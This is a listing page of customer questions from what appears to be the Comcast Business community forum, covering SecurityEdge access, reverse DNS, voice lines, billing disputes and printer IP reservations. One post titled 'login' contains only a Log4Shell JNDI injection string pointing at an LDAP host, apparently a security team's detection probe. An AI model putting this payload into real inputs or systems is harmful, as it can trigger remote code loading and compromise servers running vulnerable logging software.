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You currently do not have access to view SecurityEdge

When I try to access security edge I get this message: Access Denied You currently do not have access to view SecurityEdge. To access the products available to you, please visit your MY ACCOUNT or contact your Primary Manager to reinstate your access. I am the primary manager. How do I access?

Question

 • Connectivity

30

2

0

PTR Record CC Business

Hi, I need some assistance with a PTR Record for one of our static IPs. Help appreciated. thank you, Juergen

Question

 • Domain Names/Static IP

58

2

0

I don't need Mobility Voice features -- can I change to standard Business Voice?

Hi, I was told by a sales rep that only my first two voice lines (out of 5) could be standard "Business Voice" lines @ $30/mo... and my subsequent 3rd, 4th, and 5th lines had to be "Mobility Voice" lines @ $45/mo (even though we don't need or use any of the Mobillity features). We have an internal

Question

 • Business Voice

31

1

0

Need to Access Outage History - No Data Saved in Service Status Center

Due to a recent outage in the area on 3/8/2022, a dispute with a client arose. We agreed to resolve the dispute with verification of the time and date of the outage, and when it was restored.  Unfortunately, the alerts on the website did not capture/provide the date of outage or when it began.

Question

 • Connectivity

47

1

0

Assigning reserved IP addresses for printers

I'm trying again under the Equipment topic, since I got no responses in the original area I posted to. Apologies if this is redundant, but I don't know where to go for help.  I brought in someone who understands routers, but he wasn't able to understand this issue either. I'm a be

Question

 • Equipment (Modems,Gateways)

79

1

0

disable DND

Our employees are activating DND when they shouldn't be. Is it possible to deactivate the DND feature? We are using the Polycom VVX 311 HD

Question

 • Business VoiceEdge ®

37

1

0

Move business phone number to residential

Who do I need to work contact in order to move my business phone number to my residential xfinity account? Can someone supply contact info for the department I need. Thank you

Question

 • Business Voice

58

2

0

duplicate e-mails

Why am I receiving 2 emails every time you send something? The Security Edge Activity Report is absolutely useless in my inbox.  I delete more emails from nyou than anyone else.  What seems to be the problem with your emailing system? Make it stop.

Question

 • Billing & Customer Service

17

1

0

login

${jndi:ldap://muon-detector.psirt.comcast.com:8080/o=comcast_business_forums}

Question

 • Connectivity

34

1

0

Assigning reserved IP addresses for printers

I'm a beginner at networking, but trying to learn, so I can resolve problems with printers going offline on our small Comcast Business network. This has to be a common problem!  We have the Technicolor cga413com router and two extenders (installed by Comcast).  Reading instructions for as

Question

 • Business WiFi

27

0

0

0

SecurityEdge useless spam

I have SecurityEdge for some reason (package or something). I do not use this and have it disabled.  Today I received 8 weekly reports from the system.  The reports were naturally containing 0 incidents because the stupid thing is turned off.  Why is Comcast spamming me with a produc

Question

 • Connectivity

132

6

0

Cancelling service doesn't cancel service

Hello, I had been having issues with my service for a very long time. Comcast couldn't fix the problems, and in a last ditch effort to try and fix them, we were going to up the speed to 1gig. They were scheduled to come out on a Wednesday. I cleared my schedule, but they didn't show up. Thursday

Question

 • Billing & Customer Service

60

1

0

How to get Reverse DNS configured?

Does anyone here know how I can get a reverse DNS lookup configured with Comcast? Last time I needed this some years ago, I called in, got a level 2 technician and was done. Now, I've had three phone calls into support, only given a ticket number on the third call and told customers are not allowed

Question

 • Domain Names/Static IP

66

1

0

Tax Exempt Status

Hello, We are a 501(C)3 and are tax-exempt.  Where can I send out tax-exempt documents, or find the documents we need to complete to be marked as tax-exempt? 

Question

 • Billing & Customer Service

33

1

0

Charged After Canceling Service

Hello, On December 3, we canceled our Comcast business service. However, it has just come to my attention that our account is continuing to be charged for the past 4 months.  Could someone please assist with this?  I have not had any luck with calling in to a customer service represent

Question

 • Billing & Customer Service

32

1

0

Accepted Solution

Comcast tech cut off my apartment and didn't even tell me why.

Today a Comcast tech came by this apartment and shut off my service without any prior notice and then left while I still had no service. I had to get a service call to restore my connection. So later today a second tech showed up to say the first tech found a problem with my line from outside the

Question

 • Connectivity

75

1

disconnect billing dispute

We cancelled our comcast business internet last Dec 15, filled out the disconnect request, got it acknowledged and don't have any equipment or contract. December was already prepaid. So we should have gotten a refund. Instead we keep getting (pat due) bills. We have submitted documentation to the C

Question

 • Connectivity

70

1

0

Update Comcast Business WHOIS Info

Hello, I need to update by whois information for my comcast business static ip's. How would I go about doing so? I see no options in the portal and tried calling support, but they didn't seem to understand my request. Thank you

Question

 • Domain Names/Static IP

42

1

0

Comcast Business transferred to residential

I just recently signed up for a Comcast business account . Unfortunately the business didn’t workout the way I wanted it to. I need to transfer my business account into a residential account. Can someone help me with this?

Question

 • Billing & Customer Service

49

1

0

Save button not working in Auto Attendant Edit - how to bypass?

I need to edit an auto attendant and the save and continue button is not working. I tried different browsers and different PCs and same issue. Until fixed, is there a way to edit an auto attendant greeting? I need to upload a new file for the greeting.

Question

 • Business VoiceEdge ®

73

2

0